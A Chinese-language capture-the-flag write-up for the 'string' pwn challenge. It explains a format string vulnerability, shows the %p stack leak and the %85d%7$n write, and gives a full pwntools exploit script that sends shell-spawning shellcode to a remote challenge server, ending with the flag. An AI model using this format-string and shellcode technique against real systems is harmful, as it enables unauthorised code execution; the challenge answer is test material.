【攻防世界】string
收获
格式化字符串漏洞,例如通过
printf("%p__%p__%p__")打印出栈中的数据,从而判断输入的数据在栈中的位置,假如已知在栈上第 7 位,然后再通过printf("%85d%7$n")来将第 7 个参数的值修改为 85mmap()函数可以将输入的数据作为函数来执行,可以通过写入Pwntools生成的默认shellcode来执行,等价于执行了system("/bin/sh"),例如:
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
(v1)(0LL);思路
查看文件信息:
64 位 小端序,开启了金丝雀、栈不可执行
尝试执行:
在 IDA 中分析:
跟进函数 sub_400996():
只是两句输出
跟进 sub_400D72():
首先让用户输入角色名字,名字的长度被限制在 12 以内
跟进 sub_400A7D():
首先是讲故事,之后必须输入 "east" 才能跳出 while(1) 循环,而跳出 while 循环就不会执行后面的 if 语句
跟进 sub_4009DD():
会用 while(1) 循环不停的生成随机数,让用户去输入进行躲避,但是一旦输入错误一次跳出循环之后就 dead,貌似是条死路
回到 sub_400D72() 继续往下跟进 sub_400BB9():
首先是一段剧情,如果用户输入 “1”,会让用户继续输入地址、愿望,然后会将用户输入的愿望打印出来
回到 sub_400D72() 继续往下跟进 sub_400CA6():
注意到 if 语句 if ( *a1 == a1[1] ),这里的 a1 就是前面 main() 函数中定义的 v4,也就是说要让 *v4 == v4[1]
但 main() 函数中定义的是 *v4 = 68 v4[1] = 85,因此这里肯定是需要进行数据修改的
通过 if 语句后,会执行 mmap() 函数,通过 v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL) 将 v1 定义为一个函数
然后通过 read() 函数写入 v1() 的内容,最后通过 (v1)(0LL) 将写入的 v1() 函数执行
于是分析如下:
- 程序刚开始前面有几个输入是固定的,程序想要继续执行就必须这么输入
- 现在的问题在于如何去修改数据让
*v4 == v4[1] - 由于在
main()函数中,"secret[0] is %x\n"和"secret[1] is %x\n"两句会打印出*v4和v4[1]的地址 - 同时,在
sub_400BB9()函数中,会要求输入字符串format,后面又会用printf(format)进行打印,因此,可以利用这个输入的字符串"%s"来构造格式化字符串漏洞 - 将
format输入为%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__可以让printf()函数实现printf("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__")的操作,可以将栈中的其他数据也给打印出来 - 正好前面还要求输入地址,这个地址随便输入一个显眼的数,这样就可以通过
printf()打印出的结果来找到这个数,从而判断出刚刚输入的地址在栈中的位置了 - 于是,当要求输入地址的时候,如果将
*v4的地址给输进去,这样就知道*v4的地址在栈里的位置了,再通过格式化字符串漏洞将这个地址上的数据给修改掉,就可以实现改变*v4的值了 - 将
*v4修改为 85 后,就可以通过sub_400CA6()函数中的 if 判断了 - 之后程序会要求输入
v1,然后将v1作为函数来执行,那么可以向v1中写入shellcode,这样程序一执行就会实现system("/bin/sh")的操作
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./string") # 程序在kali的路径
else:
io = remote("61.147.171.105", 60038) # 题目的远程端口,注意是remote
io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n"), 16) # 根据ida中的伪代码,这里“secret[0] is ”后面输出的是v4: v4[0]所在的地址
io.recvuntil("What should your character's name be:\n") # 没有漏洞,随便输入即可
io.sendline("1")
io.recvuntil("So, where you will go?east or up?:\n") # 根据ida中的逻辑,必须这么输入
io.sendline("east")
io.recvuntil("go into there(1), or leave(0)?:\n") # 根据ida中的逻辑,必须这么输入
io.sendline("1")
"""
io.recvuntil("'Give me an address'\n")
io.sendline("1") # 先随便给出一个地址,等下通过格式化字符串漏洞泄露出栈中的数据,来查看这个地址在栈中的位置
io.recvuntil("And, you wish is:\n")
io.sendline("%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__") # 将这一串作为printf()的参数泄露栈中的数据
print(io.recv()) # 将泄露出的数据打印出来
"""
shellcode = asm(shellcraft.sh()) # 用pwntools生成默认的shellcode,执行该shellcode等价于执行了system("/bin/sh")
io.recvuntil("'Give me an address'\n")
io.sendline(str(v4_addr)) # 将v4[0]的地址发过去,通过前面的操作已经知道发过去的V4[0]的位置在栈中的第7位
io.recvuntil("And, you wish is:\n")
io.sendline("%85d%7$n") # 向第7个参数写入85,即: 将v4[0]的值由68修改为85,这样就实现了v4[0] == v4[1],可以通过sub_400CA6()中的if语句
io.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
io.sendline(shellcode)
io.interactive()
main()结果
cyberpeace{a6bb09f8f19f8adfa1e160e67269416d}
根据输入的 "1",用 "%p" 泄露出输入的值在栈中的位置,这里可以看到 "1" 在第 7 位




















